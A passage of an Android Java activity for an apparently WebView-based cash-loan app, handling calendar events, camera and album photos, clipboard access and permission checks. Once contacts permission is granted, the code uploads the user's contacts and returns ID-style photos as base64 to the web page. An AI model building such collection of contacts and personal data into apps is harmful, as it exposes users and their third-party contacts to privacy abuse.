                        boolean b = CalendarUtil.deleteCalen(Long.valueOf(PreferencesUtil.getString(calendarId)));
                        if (b) {
                            setdeleteCalendarCallback(0, calendarId);
                        } else {
                            setdeleteCalendarCallback(2, calendarId);
                        }
                        PreferencesUtil.putString(calendarId, "");
                    } else {
                        setdeleteCalendarCallback(2, calendarId);
                    }
                }

            }
        } catch (JSONException e) {
            setdeleteCalendarCallback(4, null);
            e.printStackTrace();
        }
    }

    private void insertNormalCalendar(JSONObject params) {
        try {
            String calendarListInfo = params.getString("calendarListInfo");
            List<CalendarModel> calendarModelList = StatisticUploadTask.Gson2Type(calendarListInfo, new TypeToken<List<CalendarModel>>() {
            }.getType());
            if (calendarListInfo == null || calendarListInfo.length() == 0) {
                setInsertCalendarCallback(4, null);
            } else {
                setNormalCalendarInfo(calendarModelList);
            }
        } catch (JSONException e) {
            e.printStackTrace();
        }
    }

    private void setNormalCalendarInfo(List<CalendarModel> calendarModelList) {
        for (CalendarModel calendarModel : calendarModelList) {
            if (TextUtils.isEmpty(PreferencesUtil.getString(calendarModel.getCalendarId()))) {
                boolean insert = CalendarUtil.insertNormalCanlendar(calendarModel);
                if (!insert) {
                    setInsertCalendarCallback(3, calendarModel.getCalendarId());
                } else {
                    setInsertCalendarCallback(0, calendarModel.getCalendarId());
                }
            } else {
                setInsertCalendarCallback(2, calendarModel.getCalendarId());

            }
        }
        StatisticUploadUtil.uploadCALENDAR01();
    }

    /**
     * 0 插入成功 1：缺少权限 2：重复插入 3：未知错误 4:json解析错误
     *
     * @param insertCalendarCallback
     */
    private void setInsertCalendarCallback(int insertCalendarCallback, String calendarId) {
        Bundle bundle = new Bundle();
        bundle.putInt("insertCalendarCallback", insertCalendarCallback);
        bundle.putString("calendarId", calendarId);
        if (calendarCallback != null) {
            calendarCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
        }

    }

    /**
     * 0 删除成功 1：缺少权限 2：未找到 3：未知错误 4:json解析错误
     *
     * @param deleteCalendarCallback
     */
    private void setdeleteCalendarCallback(int deleteCalendarCallback, String calendarId) {
        Bundle bundle = new Bundle();
        bundle.putInt("deleteCalendarCallback", deleteCalendarCallback);
        bundle.putString("calendarId", calendarId);
        if (dCalendarCallback != null) {
            dCalendarCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
        }

    }

    /**
     * 打开系统相机
     *
     * @return
     */
    private boolean startCamera() {
        Uri outputFileUri;
        String path = StatisticContant.PHOTO_PATH + StatisticContant.IMAGE_TYPE + ".jpg";
        File file = new File(path);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
            outputFileUri = FileProvider.getUriForFile(getApplicationContext(), BuildConfig.APPLICATION_ID + ".provider", file);
            grantUriPermission(getPackageName(), outputFileUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
        } else {
            outputFileUri = Uri.fromFile(file);
        }
        Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
        intent.putExtra(MediaStore.EXTRA_OUTPUT, outputFileUri);
        try {
            startActivityForResult(intent, StatisticContant.START_CAMERA);
            return true;
        } catch (Throwable tr) {
            idcardCallback(1, null, null, StatisticContant.LUNCH_CAMERA_FAIL);
            //取消拍照
            return false;
        }

//        if (intent.resolveActivity(getPackageManager()) != null) {
//            startActivityForResult(intent, AppConfigConstants.START_CAMERA);
//            return true;
//        }else{
//            idcardCallback(1,null,null,AppConfigConstants.LUNCH_CAMERA_FAIL);
//            //取消拍照
//            return false;
//        }
    }

    private void getCameraPermession(int type) {
        PreferencesUtil.putBoolean(StatisticContant.IS_GET_CAMERA_PER, true);
        String[] permissions = new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.WRITE_EXTERNAL_STORAGE};

        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            permissionUtil.requestPermissions(permissions, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.contains(Manifest.permission.CAMERA)) {
//                        if (takePhoto()) {
//                            return;
//                        }
//                        uploadPIC01();
                        PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_PIC01_FLAG, true);
                        startCamera();
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() > 0) {
                        if (list.contains(Manifest.permission.CAMERA)) {
                            idcardCallback(3, null, null, StatisticContant.PERSSION_FAIL);
                        }
                    }

                }
            });
        } else {
//            uploadPIC01();
            PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_PIC01_FLAG, true);
            startCamera();
        }

    }

    /**
     * 打开相册
     */
    private void getAlbumPermission() {
        choosePhoto();
    }

    private void choosePhoto() {
        Intent intentToPickPic = null;
        if (Build.VERSION.SDK_INT >= 30) {// Android 11 (API level 30)
            intentToPickPic = new Intent(Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
        } else {
            intentToPickPic = new Intent(Intent.ACTION_PICK, null);
            intentToPickPic.setDataAndType(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, "image/*");
        }
        if (null != intentToPickPic) {
            startActivityForResult(intentToPickPic, StatisticContant.START_ALBUM_RESULTCODE);
        }


    }

    private void getPicAndCon() {
        PreferencesUtil.putBoolean(StatisticContant.IS_GET_CONTACTS_PER, true);
        String[] permissions = new String[]{Manifest.permission.READ_CONTACTS};
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            permissionUtil.requestPermissions(permissions, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() > 0) {
                        if (list.contains(Manifest.permission.READ_CONTACTS)) {
                            StatisticUploadUtil.uploadContacts();
                            PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_CON01_FLAG, true);
                        }
                        if (updateInfoCallback != null) {
                            Bundle bundle = new Bundle();
                            bundle.putBoolean("isGetReadContactsPermission", true);
                            updateInfoCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                            updateInfoCallback = null;
                        }
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (updateInfoCallback != null) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetReadContactsPermission", false);
                        updateInfoCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                        updateInfoCallback = null;
                    }

                }
            });
        } else {
            StatisticUploadUtil.uploadContacts();
            PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_CON01_FLAG, true);
            if (updateInfoCallback != null) {
                Bundle bundle = new Bundle();
                bundle.putBoolean("isGetReadContactsPermission", true);
                updateInfoCallback.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                updateInfoCallback = null;
            }
        }
        PreferencesUtil.putBoolean(StatisticContant.NEW_CASHUPLOAD_PIC01_FLAG, true);
//        uploadPIC01();
    }

    /**
     * @param picStatus 0成功,1失败,2取消 3base64
     * @param imgUrl
     * @param imgData
     */
    private void idcardCallback(int picStatus, String imgUrl, String imgData, String failReason) {
        PhotoJS photoJS = new PhotoJS();
        photoJS.setType("camera");
        photoJS.setImgData(imgData);
        photoJS.setImgUrl(imgUrl);
        photoJS.setFailReason(failReason);
        photoJS.setPicStatus(picStatus);
        Bundle params = new Bundle();
        params.putInt("status", picStatus);
        params.putString("statistics", StatisticUploadTask.gson2String(photoJS));
        if (idcardCallBack != null && "CAMERA".equals(StatisticContant.GET_IMAGE_TYPE)) {
            idcardCallBack.onComplete(StatisticUploadTask.bundleToJSON(params));
            idcardCallBack = null;

        }
        if (wakeUpAlbumCallBack != null && "ALBUM".equals(StatisticContant.GET_IMAGE_TYPE)) {
            wakeUpAlbumCallBack.onComplete(StatisticUploadTask.bundleToJSON(params));
            wakeUpAlbumCallBack = null;
        }

    }

    private boolean launchThirdWebKit(String jumpUrl) {
        try {
            if (TextUtils.isEmpty(jumpUrl)) {
                return false;
            }
            Uri uri = Uri.parse(jumpUrl);
            Intent intent = new Intent(Intent.ACTION_VIEW, uri);
            startActivity(intent);
            return true;
        } catch (Throwable e) {
            e.printStackTrace();
            return false;
        }
    }


    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        permissionUtil.onRequestPermissionsResult(requestCode, permissions, grantResults);
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == RESULT_OK) {
            if (requestCode == StatisticContant.START_CONTACTS) {
                dealContacts(data);
            } else if (requestCode == StatisticContant.START_CAMERA) {
                String path = StatisticContant.PHOTO_PATH + StatisticContant.IMAGE_TYPE + ".jpg";
                idcardCallback(0, null, BitmapUtil.getImgDataBase64(new File(path)), null);
            } else if (requestCode == StatisticContant.START_ALBUM_RESULTCODE) {
                Uri uri = data.getData();
                idcardCallback(0, null, BitmapUtil.getImgDataBase64(uri), null);


            }
        } else if (resultCode == RESULT_CANCELED) {
            if (requestCode == StatisticContant.START_CONTACTS) {
                setContactsCallback(2, null);
            } else if (requestCode == StatisticContant.START_CAMERA) {
                idcardCallback(2, null, null, null);
            } else if (requestCode == StatisticContant.START_ALBUM_RESULTCODE) {
                idcardCallback(2, null, null, null);
            }

        }
    }

    private void initLocPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String[] permissions = {Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.ACCESS_FINE_LOCATION};
            permissionUtil.requestPermissions(permissions, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        CommonUtil.initLocation(MyApplication.getApplication());
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", true);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", false);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }
            });
        } else {
            CommonUtil.initLocation(MyApplication.getApplication());
            Bundle bundle = new Bundle();
            bundle.putBoolean("isGetPermission", true);
            callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
        }
    }

    private void initDevicesPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String[] permissions = {Manifest.permission.READ_PHONE_STATE};
            permissionUtil.requestPermissions(permissions, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", true);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", false);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }
            });
        } else {
            Bundle bundle = new Bundle();
            bundle.putBoolean("isGetPermission", true);
            callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
        }
    }

    private void initCalendarPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String[] permissions = {Manifest.permission.READ_CALENDAR};
            permissionUtil.requestPermissions(permissions, PermissionUtil.DEFAULT_REQUEST_CODE, new PermissionUtil.OnPermissionCallback() {
                @Override
                public void onGranted(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", true);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }

                @Override
                public void onDenied(int requestCode, List<String> list) {
                    if (list != null && list.size() != 0) {
                        Bundle bundle = new Bundle();
                        bundle.putBoolean("isGetPermission", false);
                        callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
                    }
                }
            });
        } else {
            Bundle bundle = new Bundle();
            bundle.putBoolean("isGetPermission", true);
            callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
        }
    }

    private void initCameraPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String result;
            boolean cameraPermission = permissionUtil.checkPermissions(Manifest.permission.CAMERA);
            if (cameraPermission) {
                result = "0";
            } else {
                if (permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.CAMERA)) {
                    result = "1";
                } else {
                    if (PreferencesUtil.getBoolean(StatisticContant.IS_GET_CAMERA_PER, false)) {
                        result = "2";
                    } else {
                        result = "1";
                    }
                }
            }
            Bundle bundle = new Bundle();
            bundle.putString("result", result);
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }

        } else {
            Bundle bundle = new Bundle();
            bundle.putString("result", "1");
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        }
    }

    private void initBackFlowPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String result;
            boolean storagePermission = permissionUtil.checkPermissions(Manifest.permission.WRITE_EXTERNAL_STORAGE);
            if (storagePermission) {
                result = "0";
            } else {
                if (permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
                    result = "1";
                } else {
                    if (PreferencesUtil.getBoolean(StatisticContant.IS_GET_WRITE_EXTERNAL_STORAGE_PER, false)) {
                        result = "2";
                    } else {
                        result = "1";
                    }
                }
            }
            Bundle bundle = new Bundle();
            bundle.putString("result", result);
            DebugUtil.lemonDebugD("点击导流result的结果 " + result);
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        } else {
            Bundle bundle = new Bundle();
            bundle.putString("result", "1");
            DebugUtil.lemonDebugD("点击导流按钮版本小于24result的结果为1 ");
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        }
    }

    private void initCallLogPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String result;
            boolean callLogPermission = permissionUtil.checkPermissions(Manifest.permission.READ_CALL_LOG);
            DebugUtil.lemonDebugD("是否授权了通话记录权限 " + callLogPermission);
            if (callLogPermission) {
                result = "0";
            } else {
                DebugUtil.lemonDebugD("是否应该展示通话记录权限view " + permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_CALL_LOG));
                if (permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_CALL_LOG)) {
                    result = "1";
                } else {
                    DebugUtil.lemonDebugD("初始化通过记录权限检查该权限本地缓存 " + PreferencesUtil.getBoolean(StatisticContant.IS_GET_CONTACTS_PER, false));
                    if (PreferencesUtil.getBoolean(StatisticContant.IS_GET_CALL_LOG_PER, false)) {
                        result = "2";
                    } else {
                        result = "1";
                    }
                }
            }
            Bundle bundle = new Bundle();
            bundle.putString("result", result);
            DebugUtil.lemonDebugD("是否授权了通话记录权限最终传值 " + result);
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        } else {
            Bundle bundle = new Bundle();
            bundle.putString("result", "1");
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
            DebugUtil.lemonDebugD("初始化通过记录权限版本小于23 result为1 ");
        }
    }

    private void initContactsPermission(Callback callBack) {
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            String result;
            boolean cameraPermission = permissionUtil.checkPermissions(Manifest.permission.READ_CONTACTS);
            if (cameraPermission) {
                result = "0";
            } else {
                if (permissionUtil.shouldShowRequestPermissionRationale(Manifest.permission.READ_CONTACTS)) {
                    result = "1";
                } else {
                    if (PreferencesUtil.getBoolean(StatisticContant.IS_GET_CONTACTS_PER, false)) {
                        result = "2";
                    } else {
                        result = "1";
                    }
                }
            }
            Bundle bundle = new Bundle();
            bundle.putString("result", result);
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        } else {
            Bundle bundle = new Bundle();
            bundle.putString("result", "1");
            if (null != callBack) {
                callBack.onComplete(StatisticUploadTask.bundleToJSON(bundle));
            }
        }
    }

    /**
     * 点击返回计时
     */
    private void mGoback() {

        if (comWebview != null && comWebview.canGoBack()) {
            comWebview.goBack();
        } else {
            exitApp();
        }
        onBackClickNoticeJs();

    }

    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if (keyCode == KeyEvent.KEYCODE_BACK) {
            mGoback();
            return true;
        } else {
            return super.onKeyDown(keyCode, event);
        }
    }

    /**
     * 点击计时
     */
    private long exitTime = 0;

    /**
     * 描述: 双击退出应用
     */
    public void exitApp() {
        if ((System.currentTimeMillis() - exitTime) > 2000) {
            Toast.makeText(MyApplication.getApplication(), "Press again to exit the app.", Toast.LENGTH_SHORT).show();
            exitTime = System.currentTimeMillis();
        } else {
            if (null != comWebview) {
                comWebview.loadDataWithBaseURL(null, "", "text/html", "utf-8", null);
            }
            MainActivity.this.finish();
        }
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        if (comWebview != null) {
            comWebview.destroy();
        }

    }

    public static boolean copy(String text) {
        try {
            if (TextUtils.isEmpty(text)) {
                return false;
            }
            ClipboardManager cm = (ClipboardManager) MyApplication.getApplication().getSystemService(Context.CLIPBOARD_SERVICE);
            ClipData mClipData = ClipData.newPlainText(MIMETYPE_TEXT_PLAIN, text);
            cm.setPrimaryClip(mClipData);
            return true;
        } catch (Exception e) {
            return false;
        }
    }

    public static String paste() {
        try {
            ClipboardManager cm = (ClipboardManager) MyApplication.getApplication().getSystemService(Context.CLIPBOARD_SERVICE);
            ClipData primaryClip = cm.getPrimaryClip();
            String s = primaryClip.getItemAt(0).coerceToText(MyApplication.getApplication()).toString();
            return s;
        } catch (Exception e) {
            return null;
        }
    }

    public class ContactsLittle implements Serializable {
        private String name = "";
        private String mobile = "";

        public String getName() {
            return name;
        }

        public void setName(String name) {
            this.name = name;
        }

        public String getMobile() {
            return mobile;
        }

        public void setMobile(String mobile) {
            this.mobile = mobile;
        }
    }

    public class PhotoJS implements Serializable {
        private String type;
        private int picStatus;
        private String imgData;
        private String imgUrl;
        private String failReason;

        public String getFailReason() {
            return failReason;
        }

        public void setFailReason(String failReason) {
            this.failReason = failReason;
        }

        public String getType() {
            return type;
        }

        public void setType(String type) {
            this.type = type;
        }

        public int getPicStatus() {
            return picStatus;
        }

        public void setPicStatus(int picStatus) {
            this.picStatus = picStatus;
        }

        public String getImgData() {
            return imgData;
        }

        public void setImgData(String imgData) {
            this.imgData = imgData;
        }

        public String getImgUrl() {
            return imgUrl;
        }

        public void setImgUrl(String imgUrl) {
            this.imgUrl = imgUrl;
        }


        @Override
        public String toString() {
            return "PhotoJS{" +
                    "type='" + type + '\'' +
                    ", picStatus=" + picStatus +
                    ", imgData='" + imgData + '\'' +
                    ", imgUrl='" + imgUrl + '\'' +
                    ", failReason='" + failReason + '\'' +
                    '}';
        }
    }
}
